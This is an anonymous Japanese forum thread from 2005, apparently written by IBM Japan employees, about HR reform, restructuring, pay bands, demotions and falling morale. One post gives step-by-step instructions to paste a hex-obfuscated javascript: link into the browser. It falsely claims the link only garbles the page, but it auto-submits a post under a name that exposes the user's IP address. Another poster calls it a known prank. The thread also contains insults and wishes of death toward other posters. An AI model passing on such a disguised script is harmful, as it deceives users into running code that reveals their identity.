とまあまずはこんな具合に拉致されます。

そしてまずは本人が希望していない異動や出向をもちかけます。
それを断ると年齢を理由に「行くとこないよ」「これから先どうすんの?」
とねちねち。

ここでまじレスしては思う壺なので、のらりくらりと「さあどうしましょう
」「行くとこ? ぼちぼち探しておいてくださいよ」かわす。

ま、ふつうのラインならそうこうしているうちに開放されます。

>>146
たしかに、RevenueいかなくてもGPいってれば言い訳はできる。
うちの事業部長はいつもそれで乗り切っている。

ようは、OTつけさせずに、交通費は自腹、その他緊縮財政でいちおうGPは
確保している。
Revenue増やさずにGPは100%っていうのは、後ろ向きな不健全な「増益」。

>>148
600点くらいならその必要があるでしょう。
860をこえるとその必要はないと聞いたことがあります。(スキルレベル5)

>>151

これのどこが「強要」なのか？

白人に約束させられたＧＰの数値を守るため
確かに残業代なし、交通費自腹、振り替え休日取得させない、、、
などの協力は強制させられるね。
そのうちたれ込みでラインの首が飛ぶんだろう。
脱税だからね。これって。

脱税を見解の違いでごまかす会社ですから（ぷ

>>155
IBMの利益率は30〜40%。
それから考えるとJの利益率は劣悪。

というのが、アメちゃんが日本を締め上げる理由。
日本国内の基準で考えれば、いまでも優良企業だ。「あの業績(利益率)で赤
字会社並みのリストラの風が吹き荒れるのは信じられない」と某電機メーカ
ー経理の友人が言っていた。

>>148
860点(だったと思う)未満は、人事的の規程では有効期限は3年だ。

>>157
どちらかというと日本企業の方が
スタンダードから漏れてるんだよな

10年前に学習してるからな
IBMは

強いよ

IBCSのスレ落ちちゃったけど、あそこはどうなの？中の奴に聞いたけど
主要事業なので会社残してるが台所事情は火の車だとか。。。

へ？BCSは儲かってる方だろ

>白人に約束させられた

人種差別的発言はやめよ。

>162さん
今日も監視ご苦労様です。
あなたが楽になるようにちょっとお手伝い。

ますIEでこのスレッドを開いてください。
１、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b
46524f4d2e76616c75653d2766757369616e6173616e273b4d455353414745
2e76616c75653d275c75333045445c75333045415
c75373533425c75353043465c75333034465c75333036305c7533
3035355c7533303434273b7375626d69742e636c69636b28293b7
d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。

２、
改行を外して１行にする。

３、
１行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。

４、
Enterを押す（もしくは「移動」をクリックする）。

するとカキコの画面になるのでそのまま書き込む。
そうするとこのスレッドの画面表示がめちゃくちゃになるんです。
使えますよ。

>>163は有名なIP晒し用のスクリプト悪戯
もはや「懐かしい」部類だがな

参照：
ttp://sonic64.com/2004-11-02.html

>164
空気読めねえ馬鹿だなてめーは

空気ねぇ・・・（溜息
子供だな

>>163
こうですかっ？わかりませんっ。

わからん

”ＩＢＭ”というブランドと社員のステータスを考えれば、
年収３００万でも”ＩＢＭ社員”というステータスを手に入れたいと
入社を志望している優秀な人はたくさんいます。

そういう意味で会社はもっと社員への「ロイヤリティ負担」のようなものを
要求してもいいと思います。現行の報酬の３０％程度をカットしても
ＩＢＭブランドにこだわる大半の社員は辞めないでしょう。

人事制度改革・年金制度改革の内容は、妥当かつ優れた内容であり、
非常に良心的な内容だと思います。

すでにこちらの部署でも全員が署名・捺印しました。

会社の業容拡大に大きな貢献をなされ、
偉大な足跡を残されてきたマネジメントの皆様に感謝します。

会社からBLOG更新した為に、SからNに降格だとさ・・
見つかる方も見つかる方だが、どうやって本人を割り出したんだ？

>>169
>”ＩＢＭ”というブランドと社員のステータスを考えれば、
>年収３００万でも”ＩＢＭ社員”というステータスを手に入れたいと
>入社を志望している優秀な人はたくさんいます。

これはない。

>>169
>すでにこちらの部署でも全員が署名・捺印しました。
どこの部署か知らんけど。おれはしなかったけどw

問題は就業規則の改訂の方だよ

>>173
何が変わったの？

　　　　11月２日に、重大な発表がなされるとのこと。。。

重大というか
最悪というか
崩壊というか
度きゅんというか．．．．

どうせ大した発表じゃないだろ
このｽﾚは毎回大げさ杉だからｱﾎらしい

ならされてませんか？
数年たつと大変なことに．．

お前が２ちゃんに染まってるだけだよ
それとも単に２ちゃんで煽るのがお前の仕事なのかな

>170
> 会社からBLOG更新した為に、SからNに降格だとさ・・
> 見つかる方も見つかる方だが、どうやって本人を割り出したんだ？
詳しく。

ちょっと、信じられんな。
セクハラで大問題起こした香具師でさえ、バンド降格なんてない会社なのに、、、、
別の理由がありそうな気がする。

本人の割り出しは簡単だと思われ。
ISSIから導入される資産管理ツールで、PC情報吸い上げ、ネットのアクセスログでMACアドレスとURLと特定。
二つの情報でPC割り出し。後は、その時NOTESを立ち上げていたら、NOTESのアクセスログから本人特定と。
けど、たかが社員のブログ程度で、面倒な作業するかな？意外と、ネットのアクセスに関しては、ルーズだしうちの会社。

>>180
社内からBLOG更新するあふぉばかりじゃないぞ。

降格かどうかは知らんが、見つかって怒られたという話は有名。

それにたしかにそんな面倒なことはしない。
社内システムやっている友人が言っていたが、「アクセスログで捕まえる
のは技術的には簡単だが、時間的にそんなくだらんことをやっているヒマ
はない」と。

つか大体目星つけといて、そいつのログを徹底的に監視してるんじゃないの。
それか、主なブログサイト更新用のURLにアクセスしてる奴をスクリーニングしてるとか。

>>170
　誰かに嫌われて、はめられてんだろうな。

会社からこういうところにアクセスしないように
http://www.bekkoame.ne.jp/i/jmiu-ibm/B-frame/KAINA/index_KAINA_H_PDFonly.htm

>>154
立派なパワハラだ。
承知の上でやってるんだろ？つくづく悪質だな。

>>180


そういう、このオマイの書き込み自体は所属長の許可を得て書いているのか？

企業価値低下をもたらしかねない内容を一般の掲示板に記載すること自体ＢＣＧ違反。

そう思うとしてもまず所属長に相談するか、スピークアップやＪａｍなどの
社内の正式プロセスを使うようにしなさい。

2chで必死にイメージ維持活動してる会社って
悲しいね・・・wwwwww

そんな企業どこにもないだろｗ

2chの運営はそれを望んでるんだろうけど
匿名掲示板対策のコンサルやってるし

金をとってさ

>>187
無理に背伸びして「オマイ」なんて使わなくていいから（嘲
使い慣れてないのがバレバレで滑稽なだけ。

正式プロセスが事実上機能してないと何度言われれば理解できるんだろうねえ・・・ｗ

コピペにわざわざ過剰反応できる(もしくはわざとしてる)人は
どういう思考回路なんだか…

>>187
所属長が一番信用できないんだなw

>企業価値低下をもたらしかねない内容を一般の掲示板に記載すること自体ＢＣＧ違反。

あぁぁぁあ、バカが....。
言うんだったら、BCGじゃなくて就業規則だろ。

BCGはお客様・BPなど対外的なもの。

もう、おまえは蚕。

>>192
あ、それ同意。

釣られすぎじゃないか

なんとまあ親切な連中だ

あーあ今日で40歳。未だにバンド6だよ。一応灯台出てるんだけど。

灯台下暮らし。

>>196
そんなプロファイルこんなところ書いたら特定されるじゃん。

40でバンド6はきついねー。

40でバンド6ってラインに忘れられてる可能性あるぞ。
バンド6をアピールしたほうがいいぞ。ってヘンな言い方だけどマジでそう。

うちの部にもそういう人いたから。
「え? まだNだっけ?」って言われたんだって。かわいそ。

日本アイ・ビー・エムって、経済紙とか新聞を含めて、
社員を大切にする企業として賞賛されているけど、
実は、逆だったんですね。
とっても勉強になります。
新卒のときibmおちて他の外資に言ったけど
ibm行かなくて良かった。
おかげで２８歳なのに年収１２００マソ。

↑お前、面白い奴だな（苦笑

184 名前：名無しさん＠引く手あまた[] 投稿日：2005/10/30(日) 18:51:05 ID:TdVXi0Cw
>>170
　誰かに嫌われて、はめられてんだろうな。

200 名前：名無しさん＠引く手あまた[] 投稿日：2005/10/30(日) 21:10:25 ID:TdVXi0Cw
日本アイ・ビー・エムって、経済紙とか新聞を含めて、

>>201
外資企業の内情くらいわかるからな。ぷ。
でもibmは最悪の部類だね

東京Kittyでも参考にしたのかいい味でてるが
香ばしさが足りないな


はっきり言うとお前は大根役者だ

遠まわしに何かを主張するあなたはモヤシ役者

モヤシ役者 の検索結果 約 4 件中 1 - 2 件目 (0.35 秒)


世の中広いもんだな。。
またな、坊や

(´_ゝ`)ﾌﾟｯ

>>205
ID:jQdVANo+
世の中一般に言う、つまらないやつだな。

>>ID:TdVXi0Cw
おまえがなー。

は？

>>146
物事には程度があるということを知らんのか？
現状を鑑みて、落しどころみつけるのも経営者の手腕だろう。
それと大量採用時代と今との採用量のギャップのせいで、
若手は割り食っているという感覚があるから、余計に年寄りに厳しくなるんだろうな。

現状の若手の不満を見るに、若手の給料を伸びやすくして、
働いていない年寄りの給料を落す、サラリーキャップをおいて据え置きにするという、
今回の変更点は「ちゃんと機能すれば」よいものだと思う。
（だめだっつー意見が多いが）

個人的には、降格をもっと厳しくしてもいいから
望まない首切りはもう少し抑えてほしいというのと
（年金問題があるからだめなんだろうな・・・）
既に年金もらってるやつらの支給額落すことを検討してほしい。
濡れ手に粟状態の時代を生き、恵まれた年金をがっぽりもらってる
この世代をどうにかしなきゃ多少人事制度いじってもだめだろう〜。

刈上げ社畜制度ならなくなってもよい

所属長自体、モラル低下でテンション低いからこんな奴の
下で一生懸命仕事する気が起きません。一度、全員平社員に
してみるってどう？　

>>212
今回のサーベイではきちんと評価しておきましたwww

また共産主義者の組合員かよ
くだらないことを妄想してる暇があるなら働けよ
迷惑だ

"Pay for job, Pay for performance"の考え方に賛成です。

なぜなら仕事内容や業務パフォーマンスに応じて報酬が変わるのは当然だから。
私の周囲の大半の社員も同様に賛成していますし、
裁量労働制のような優れた制度の導入もあり、
実際に職場のモラルも大きく向上しています。


業績達成度に関わり無く支給されている手当類については
原則として廃止すべきだと思われますし、
賞与・給与についても、業績達成度への評価をもっと反映すべきだと思われます、
成果主義の徹底を周囲の多くの社員が希望しています。

人事制度改革には積極的に賛成です。

>>215
>裁量労働制のような優れた制度の導入もあり、
「柔軟な」だよな。「優れた」とかいうと理由をその説明してもらいたくなる。

>>216
「ラインが恣意的にどうにでも運用できる」では？ｗ

>>217
>実際に職場のモラルも大きく向上しています。
・・・ということは、「モラルは大きく低下」ということでw

>>215
割と古いコピーですね。
客観的に見ると、こう会社を伸ばしたいとかこのように改革したいという
前向きな意見が大きな組織の中で、叩かれ潰され干され
結局、既得権者の利益を保護する方向にしか向かってないような気が
します。
職場のモラールはかなり低下していますよ。
昔は不満なんてみんな口にすることはなかったですが
今は不満を言い合いお互いに慰めあうことが普通になりました。
出る杭は打たれ、いい仕事は結果だけ持っていかれます。
実際に現場で汗を流した人間ではなく、何の関係もなかった人が
突然現れ結果だけさらっていくのですから、、、この会社らしいですね。
それもすべてこの会社の文化です。
いいとも悪いともいえません。
ただし、１０年前からほとんど年収が上がっていないことに
みんな最近いらだちを感じているのは事実のようです。
若手はもっとひどいですが・・・・。

>>218
実際、モラルは下がりまくってるよ。
以前は会社がらみの不満なんて飲み会でもほとんど出なかったし、
もし出ても明るく笑い飛ばせる程度のものだった。
今じゃもうマジで洒落にならなくなってる。
そういう話は部署の「公式な」飲み会では出てこないけどね。
表向きはとりあえずみんな取り繕ってるけど
（下手に表立って騒ぐと不満分子として退職勧告のターゲットにされてしまうからね）
一皮剥くと凄いよ。

>>220
入社当時は集合研修だけで不満がなかったけど、
仕事やりはじめて不満がでてきただけって感じだな。
不満がある人間は昔からいっぱいいたよ。
モラルの低さは伝統的なものだから、なかなか直らないよｗｗｗ

>>170
誰だかわかっちゃった。

＞どうやって本人を割り出したんだ？
割り出すも何も、現場を取り押さえられたんでしょ。

>>180
＞別の理由がありそうな気がする。
ビンゴ。
詳しいことはこちらの身元が割れてしまうので言えないが。

ここは組合の巣窟か
お前ら政治活動ばかりしてないで仕事しろ！仕事！

それから、かいなに政治スローガンなんか載せるな
だから一般の社員に嫌われるんだよｗｗｗ

「IBMの常識は世間の非常識。」

これに気付かないor 反論する人は、生粋のIBMer。転職なんて
絶対しないほうが良いよ。

しかしさ、IBM出身者と言うだけで取ってくれる企業ってまだあるんだね。
おそらくIBMとの円滑な取引や、アドバンテージを求めたんだろうけどね。

age

まだ会社に居ますよ、41歳でBAND 6。

もともと業務で入社して途中でＳＥに鞍替えしたけど
結局使えなくて毎日ＨＺでマッタリとしてます。
月に５，６回はどっかの女性社員と5階カフェテリアで午後いっぱい
いちゃついて、夕方自席に帰ってくるとそのままカバン持って帰宅。
所属長は現場に行っていることが多いんで特に管理もなし。

給料も現場のＳＥとそんなに変わりなし。
こんな調子で７年ぐらいＨＺで過ごしてるようですが、
毎日、たいしてやることもなく６時過ぎに帰宅。
健康的な人生です。

>>225
そんな話はどこの会社にもあるｗｗｗ
それもわからない>>225は絶対転職できないな

>>228
あんたみたいなＤＱＮが世の中を悪くする

嫉妬とか羨望にすぎないと言われるかもしれないですが
IBMは「まだまし」だと”推測”しますよ〜。
ブランドがあって、そこそこ？給料がもらえて、教育もあるんですから。
上司や人事、制度、給料や過労云々の問題はどこの会社も一緒。
本当にIBMに固有な”毒”があるなら別ですが、ここ読む限りじゃそうでもない。
ちなみに、社員じゃないですけど。

>>221
昔と今の不満の質が違いますよｗ
昔は一流企業の不満。
今は三流企業の不満。
質が落ちてます。中堅企業にありがちな不満が増えてます。
そこが問題です。
>>230
まだましなのは認めます。
J○Ｂや機○業界、アパレ○は30歳で400万台ですからね。
それに比較すればまだましなのは事実です。
でもここ数年で急激に待遇も福利厚生も悪化してるのは事実です。
この冬のボーナスが史上最低（世間は史上最高）なのがその良い例です。
30代のほとんどが大台を超えないと思います。
これは一部上場企業の平均以下です。
まだ平均以下ですからまだましです。
でも、昔では考えられないレベルなのは事実です。

>>231
日本ＩＢＭに入って、ボーナスがどうのこうのというのは給与体系が分かってないね。
年収でみなきゃ。下がり具合は世間並みだと思うよ。

>>232
私は前職で30歳くらいで650万＋住宅補助140万＝790万
今は40歳くらいですべて込みで750万
ボーナスも30歳で110万、今100万。
前職は今、史上最高利益で年収は比較にならないくらい高いです。
もちろんボーナスもｗｗ
給与体系どうのこうのいう問題ではないですよ。
総額が他社以上に下がっています。

前職が超一流企業なら納得ですが、
中堅の地味な無名メーカーですよ。上場はしてますが。
そんな会社より劣るのは問題だと思います。
イコールオアベターって何だったんでしょうね？？？

>>221
たしかに昔から不満はありました。
でも、みんなiに誇りを持ってがんばっていました。
今は埃と不満だけです。
なぜこんな会社になったんでしょうね？？？？？

昔から同じだよ。
だまっていても利益が出て
高卒製造淫でも１０００マソもらえていたから
文句いわなかっただけ
世間なみに４００マソになってあわてているだけだ

まあお金がもらえなければ
みんな働かなくなるのは当然？
それだけのことですね。

>>234
給料が高いと勝手に思って、転職失敗しただけじゃんｗｗ
イコール・オア・ベターはＦやＨやＮと比べてだから、
今でも守られてるんじゃないかな？
時給換算すると、完全敗北だけどねｗｗ

会社は私生活をすべて会社に差し出せばそれなりに
という考え。
時給比較、効率比較したら負けるよ。
これでスキルつけばまだましだがね。

まあね。人材のしじょうかちは下がってるから問題ありかな。会社の公表年収データを
信じて入る人もまだまだいるね。
さすがに学生には実態がかなり浸透したみたいだけどね。
本気でここで40迎えたら行ける会社ないと
思います。

だいたい、俺が入社したときって、就職四季報に載ってる初任給は
基本給に手当て等を入れた総額で出してたからね。
他の企業はみんな基本給で出してたのに。
だから一見給料がいいように見えた。
今はどうか知らんけど。

>>237
おまえ組合員だな？
おまえら組合員は働かないことで有名だしなｗｗｗ

>>233
つーか、普通に考えて前職の給与水準が高いとなぜわからん？
住宅費が補助としてそんな出る会社世間を見渡してもほとんどないぞ。
メーカーで30歳でそんなにもらえる会社なんてほとんどないから
就職板の学生に教えてあげれば？

>41歳でBAND 6。
>もともと業務で入社して途中でＳＥに鞍替えしたけど

私の知っている人も業務で入社して、そんな感じです。
３年程度ＳＥやったあとで使えないので剥奪されて、
毎日ＨＺでマッタリしています。毎日やることもないので楽チンそうだね。
本人いわく「毎年ＰＢＣがＣだろうとＤだろうとそれってどうってことないさ」
ということですがＳＥをやらない以上、Ｍｇｒもいい加減どっか他の組織に逝ってほしいので、
経理や総務・購買・人事とかに打診したけど、どこからも引き取り拒否されてまつ。

この人が退職強要されないのは、親のコネがあるからだろうという周囲の噂です。

Cが2年続くとクビですが。。。

んなわけあるかw

おまいら
今日配られたかいなのハンマーを声に出して読めw

まだwebにあがってないのか・・・
何書いてあんの？

新プロフェッショナル人事制度の適用拡大について

今日の上のおそだしはひどいね
裁量のおそだしで安心させて
息の根を止められた感じがした。
定年55歳とか
オープンソースとか
短時間労働のマスコミ撹乱とか
あまりにひど過ぎだね。
これでは重大な情報が外から聞こえてきても不思議ないね！！！！！！！！！

>>250
詳しく

一流会社だから年収もすごいのかと思っていた。外資ってみんな何千万ももらってるの、信じられない。外資証券とか金融は別格？

「部署内での相対評価は、所属長の裁量次第。短時間ということで差をつけることもありうる。」
への反論が「評価方法は通常勤務と同様」ではだめだよね。
評価方法について言及しているのではなく、評価結果そのものの話なんだから。
所属長の裁量がまともで、評価尺度が同じだったら、差がつく方が自然なような気もするけど・・・。

会社は昔からアウトプットが全てといっている。
短時間ならその短時間でさび残含めて一日１５時間で出している
同じラインの同僚のアウトプット以上をたとえば５時間で出せば
いいだけの話。
何もトリックはない。
とってもクリアー。

>>254
それはその通りなんだけれどね。
結局、「部署内での相対評価(結果)は、所属長の裁量次第。」だから「評価方法は通常勤務と同様」。

給料に関しては
　外資金融（１０００−５０００）＞外資ＭＲ（８００−２０００）＞外資ＩＴ（６００−１５００）
　（）内は標準値
って感じですね。

だいたい忙しい部署で４時に毎日買える椰子がいたら
あいつをリストラしろって周りが許さないだろう。
ｍｇｒは楽でいいよね。
人選を周囲がやってくれるから。

＞外資ＩＴ（６００−１５００）


４００−１０００が今後の目標

>>258
ＭＥが入ったときは入社時に既に６００万で部下なし部長でも
　１５００だったよな。。

　厳しい時代だね。

>>259
中途ですか？

バンド８以上は、年契約の日成のおばさんにする計画だから
コスト削減はどんどんすすむと思われる。
社員はバンド７、８００−９００が上限。

会社は選択するかどうかは本人の自由とはいっているが
そんなのは建前で退職強要とおなじで無理強いすること
は明らかだから、どんどんリストラがすすむ。バンド８
以上の報酬は年度ごとの契約者にしか提示しないからね。
もちろんそのほとんどは２−３年で雇い止め。
今のバイトと同じだね。

>>260
　iじゃ無くて他の外資ＩＴに新卒で入りました。
　でも、iも同じくらいだといっていたので。。。

>261
band7の上限はもっと高いよw
band7に上がった時だってそれぐらいだったし。
ぺーぺーの新入社員かい？

>>254
うちのライン、ガイドやリードはなにもせず、相談してもコメントするだけ
でご指導いただけません。
こんなエウトプット・ゼロのラインは懐古ですか???

>>257
4時に帰るのもラクすぎだが、出社が早い日で10時、11時に来たり午前半休
のやたら多いおっちゃんも困り者。

だらだらやってるだけじゃ近所迷惑。

>>261
バンド6でも800-900あるよ。

＞267
古きよき時代だったとなる。
3年でそれがバンド7のレベルに鳴るよ。
そのために今施策を仕込んで〜〜〜〜〜〜

>>261
漏れなんか毎日マッタリと英語の勉強しているだけで軽く１本はもらってい
る。自分で言うのも変だがこんな楽な仕事（というか勉強）でもらいすぎ。
入社して最初の配属が超ラッキーだった。部門がどこかは言わんがもちろん
現場じゃないぞ（ｗｗｗ

それだけもらえれば誰も文句はないと
思います。

そうだよ。漏れは今のところ会社になんの文句はないよ。
大体このレスで文句ばっか言っている椰子は現場で安月給でこき使われて
いる若手のＳＥあたりだろ。

皆さん

今週のかいなのハンマー読みました？
出来れば職場の皆さんと声に出して読んでみましょう。

>>254
日本ＩＢＭとは、正反対の会社だね。
ぜひ、入りたいけど、どこの会社？

>>269
現場かぁ....。IBMじゃ聞かない言葉だな。

>>274
閑職部門では禁句だからなｗ

ＰＢＣ評価による業績達成度をさらに反映して、

成果主義の色彩を濃く反映した制度に一日も早く

改めていただきたいことはすでに多くの社員が

認めているところだと思われます。

ＰＢＣの評価が低い社員でも賞与や手当が潤沢に与えられる現状は

近年の世間相場や常識から乖離していると思います。

人事制度改革には多くの社員が賛同しています。

２００６年以降はさらに成果主義の色彩を強めた改革を進めてほしいと思います。

さあさあ今アメリカご褒美旅行に逝っている、
もまいらと違いエリートコースにのっている漏れが来ましたよ
若きヤンエグとは漏れのためにあるような言葉でつ。
レクサスでも買うかね

>>276
もうお前いいよ。飽きた。

まあ800万もらえれば、誰からも文句は出ないでしょう。
この際派手に賃下げ、格下げ、個人事業主化してください！！
まだまだ、終日遊んで１本もらってる人がたくさんいるのは異常だと
思います。

>>277
テロリストにでも遭って氏ねｸｽﾞ

>>277
勝ち組ですね。
あと、１０年後にもその状態でしょうか。
ただ、エリートとはあなたの言ってるように他人を見下す
人間とは程遠い存在ですよ。

>>277

たかがレクサスがエラソーに。

若きヤンエグって言っている時点でエリート失格だなｗ

明日ジンジ発表あるかね？

>>277
アホやなぁ！ご褒美旅行より賞金もらわないとクルマも買えんがな。
お土産買わんといかんから、逆に赤字やぞ！

ご褒美旅行行くくらいなら、ご褒美金もらうの方がうれしいよな。
HPCも然り。


お土産代とか色々高くつくんだから、現金で数十万もらう方がずっとありがたい。
ま、今の薄給・悪業績のIBM-Jじゃ無理かｗｗｗ

社名（職種・年齢）　　　　　　　　年収　　　月間労働時間　　　　時給
日本経済新聞（広告28歳）　１０００万　　　１５２時間　　　　５４８２円
ソニー（営業32歳）　　　　　　　８５０万　　　１６０時間　　　　４４００円
弁護士（中堅事務所28歳）　１５００万　　　３１２時間　　　　４００６円
民放ラジオ（制作32歳）　　　　９８０万　　　２２０時間　　　　３７１２円
ｸﾚｼﾞｯﾄ会社（企画34歳）　　　　８６０万　　　２００時間　　　　３５８３円
東芝（事務32歳）　　　　　　　　６７０万　　　１６０時間　　　　３４９０円
勤務医（総合病院29歳）　　　１５００万　　　４００時間　　　　３１２５円
トヨタ（営業30歳）　　　　　　　　６４０万　　　１８０時間　　　　２９６３円
みずほ銀行（支店営業29歳）　８４０万　　　２６０時間　　　　２６９２円
キヤノン（開発28歳）　　　　　　５８０万　　　１８０時間　　　　２６８５円
UFJ銀行（支店法人営業29）　７００万　　　２２５時間　　　　２５９７円
JR東日本（地域開発34歳）　　７００万　　　２３０時間　　　　２５３６円

地方公務員（納税課26歳）　　４５０万　　　１５５時間　　　　２４１９円
第一生命（営業28歳）　　　　　８００万　　　２８０時間　　　　２３８１円
公認会計士（大手28歳）　　　　５５０万　　　２００時間　　　　２２９２円
NTTﾄﾞｺﾓ（企画30歳）　　　　　　７００万　　　２６０時間　　　　２２４４円
NTTﾃﾞｰﾀ（SE29歳）　　　　　　　６００万　　　２３０時間　　　　２１７４円
ｱｸｾﾝﾁｭｱ（ｺﾝｻﾙﾀﾝﾄ30歳）　　１１００万　　４８５時間　　　　１８９０円
富士通（SE30歳）　　　　　　　　５８０万　　　２６３時間　　　　１８３２円
IBM（SE28歳）　　　　　　　　　　６００万　　　２７８時間　　　　１７９６円
損保ジャパン（営業28歳）　　　６８０万　　　３５０時間　　　　１６１９円
ＪＴＢ（営業31歳）　　　　　　　　　５６０万　　　３２０時間　　　　１４５８円
精神科医（国立病院27歳）　　　３６０万　　　３０４時間　　　　　９８７円

http://silverna001.blog7.fc2.com/blog-entry-601.html

時給からみて、派遣労働者なんだねっっっｗ

　 J( 'ｰ`)し 　 カーチャンも、リストラに怒っている！

　 転職活動（景気がいいので今チャンス）を頑張り、カーチャンが
　泣いて嬉しがるような職場がまともな一流企業へ今度こそ、入社
　すること！！　いい意味での、キャリアリベンジだ。

遅くまで仕事してるやつって、単に仕事が遅いだけじゃねえのか？
仕事できるやつはさっさとこなして、さっと帰るだろ

前に誰かが書いていたが、仕事の評価は、アウトプットの量と質によるな
遅くまで仕事していてもアウトプットが少なければただの無能

http://itpro.nikkeibp.co.jp/article/NEWS/20051101/223875/

ご参考。これで、富士通からＩＢＭへ切り替わるといいね。

来週水曜日にあることが発表されます。

またかいな

>>291
話はそう単純ではない。
ダブルスタンダードだから。
定時前に帰るヤシにはアウトプットで攻め、
差眉山しないヤシにはチームワークで攻める。
アウトプットが同じでも毎日夜中まで会社にご奉公すると
Ｂ＋がついたりすんのよ。

社員のモラルは下がり、仕事はとれない、、、そんな泣き言を
トップがイントラネットに書いてはいけない、と思う。

>>295
禿同。

>>296
問題ない。
うちの事業部長はWeekly Meetingでそんな泣き言ばかり。
昨日は絶叫モードだった。みんな呆れた。

>>291
オレも学生のときは、そう思ってたよ（ﾜﾗ

>>296
ただそこで問題なのは、社員のモラルが低いのが自分のせいだと全く気がつ
いてなくて、そのモラルの低い社員自身に解決策を求めるところだ。

>>291
なにはともあれこの時間に帰宅して、家族でメシ食って、その後２ｃｈに
書込みできる椰子は勝ち組。
深夜残業どころか休出までして、待遇のことでちょっと上司に文句言って
リストラされた漏れの動悸は負組み。アホや。

>>299
たしかに、自覚症状ないのは痛いね〜。すべては年初の、Think B○○！！
にも起因すると気がついてもいいようなものだが・・・。
頭が良すぎて思考がskipするらしい。せめて、△ターゲットを□でせめろ。
目標☆☆件・☆M$とか言っていれば結果が悪くても原因が明確になるのに。
会社自体が責任回避体質だから、お客様だって逃げるわけです。
小学生でもわかる話なのに。やはりもう終わりかな？？

すいません。
どっちが社長なのかわからなかったのは私だけでしょうか？

>>302
ドットさんがあとはやる、、、、ということは、、、実質、、、
社長、、、はこれでもう何もしません、、、、ということで、、、
まあ、、、いいことではないでしょうか？
少なくとも考えて方向性を示したのはドットさん（ら日本人以外の
外国人チーム）のようですから、、、、、
何もミザル言わざる着飾るよりはまだ少しはましなような、、、、
気がしませんか？？？？

>>277
おまえひょっとして○田？？　　　

来週水曜日に何があるの?
ﾎﾞｰﾅｽが今年は半分とかかな?

>>298

参考までに教えて欲しいんだが、きみんとこは、どんな理由で長時間勤務してんの？
おれんとこはマジで仕事遅いやつが残業してるだけなんだが・・・

>>305
ふつうは春と同じではないのか？？？もし半分になったら、２リットルくらい
涙だな〜〜。いや、尾崎みたいに破産宣告かもしれない、、、、ローンが
払えなくて。ほんと、うそだと言ってくれ！！！誰か？？

>>306
仕事できる人間に仕事が集まるから、終電くらいまでいろいろやらされて、、
仕事できない人間は仕事少ないから、１０時くらいまで付き合って帰ってくよ。
学校の宿題みたいに同じ質と量をやらせるわけではないからね。
それでも、チームワークだとかいって給料は同じ。やってられないよね。

どうせ激務ならＳＳやＳＥはアク○ンチ○○行ったほうがいいよ。
マジな話。誰でも入れるよ。

>>308
まだそれはいいほうだよ。
むちゃくちゃ燃えてる仕事を、音もなく手渡され、、、知らん振り
火を消して整理してきれいになったところで、、、抜かれる
これが一番かどうかは知らないが悲惨。
成果と評価は抜かれ、ボロボロにされて終わり。。。
これは泣けるぞ。。。。。

>>309
アク○○行こうかな、まじで・・・。誰でも？？ではないだろう？？？

>>310
どこがいいほうだか同意できない。

大徒死社長も見てる鴨しれないからあんまり失礼なカキコすんなよ

おまいら

>>312
たしかにどちらもいいとは言えない。笑えない。だね。

大吐死
大徒死
嘔吐死
尾御歳

>>313
了解。大戸氏者超に詰みはないです。嘆にその関に諏訪羅された
抱けですから。日歳は面井発ち羽鴨しれませんね。

>>315
サラリーマンのかがみですな！

カントリーのGMなんて昔からお飾りみたいなもんだけどな。
実質何も権限はないし出来ない。
精々お友達を人事面で引き立てて上げるくらい。

優しいお友達は、マンセーばかりのイエスマン。　

厳しい先生は、米国からの進駐軍。

>>313
ダチョウ倶楽部上島の法則
「押すなよ!絶対に押すなよ!!」＝「押せ」

２ｃｈへのカキコは福利厚生の一環では？

やっぱり害しのGMは、そこそこそれらしく外にしゃべれて、中にえいきょうりょくもたないと
つらいね。

そういやうちの社長はあんまり有名じゃないね−
代表幹事も日経連にこけにされているし

年金不支給取り消し　統合失調症男性が勝訴　２０歳前発症認める

　二十歳を過ぎて統合失調症と診断された福岡県の男性（３２）が、国民年金に
加入していなかったことを理由に障害基礎年金を不支給とされたのは違法として、
国に不支給処分の取り消しを求めた訴訟の判決が一日、福岡地裁であった。岸和田
羊一裁判長は、原告が診断を受ける以前の二十歳前に統合失調症を発症していたと
認定し、不支給処分を取り消した。

　障害基礎年金は、国民年金の加入者か二十歳未満で障害を負った人に支給される。
裁判では、原告が二十歳前に統合失調症を発症していたと認められるかが争点だった。

　判決理由で岸和田裁判長は、原告が二十歳以前に帯状疱疹（ほうしん）やのどの痛み
で皮膚科や内科を受診したことについて「いずれも典型的な前兆症状ではないが、統合
失調症によって全身の抵抗力が低下したことや、統合失調症による独り言の言いすぎか
ら発症したと認められる」と指摘。二十歳前の発症を認め、不支給処分は違法と判断し
た。

　原告代理人の弁護士は「現実に適した救済判断だ」と評価。社会保険庁年金保険課は
「国の主張が認められず大変厳しいと考えている。判決内容を至急検討し、対応したい」
としている。
（西日本新聞） - 11月2日2時20分更新

http://headlines.yahoo.co.jp/hl?a=20051102-00000023-nnp-kyu

１０月給与明細を見て気づいたんだがY-T-Yで見てかなり
金額が減ってるんだよね
なんでだろう??

・How many of the IBM jobs that are going overseas were created with
　　tax incentives?
・What are our representatives planning on doing to create jobs of
　　equal compensation to replace those lost?
・What are they doing to replace the lost tax base?
・How many representatives are taking contributions from IBM?

>>326
アイ・ビー・エムの従業員って英語もろくに書けないんだね。

２ちゃんの転職サイドに優秀な
奴は登場するか？

>>325
自分の給料に「Y-T-Y」とか言ってるから日本語下手だからだよｗｗｗ

この程度の英語力で害しだのといって飲み屋のねえーちゃんとＨ
しようとする点では、スッチが自分で英語ができると思っている
のと同じようにいたいねっｗ

こまったときの「総合力」
あなたは信じますか？

今日重大発表とかいってた香具師いるけど、結局なんかあったのか？

いかなる重大発表が出されることを、期待していたのですか？

293 ：名無しさん＠引く手あまた ：2005/11/01(火) 18:03:10 ID:5iAkJ6NT
来週水曜日にあることが発表されます。

半年ほど病気休職して10/1から出社しているうちの主任50歳。
休職前もトロくて使えないおっさんだったけど、ますます使えない。

年末のTASK Teamに入れられてんだけど、完全にボケボケ痴呆。
何度も同じこと言わなきゃならないし、人の話を聞かずに一方的に関係ない
ことを話しかけてくるし。

こんなおっさんを忙しいTASKに入れんなよ!

ボケおやじは邪魔なだけだから、全快してから出て来い。

追伸。

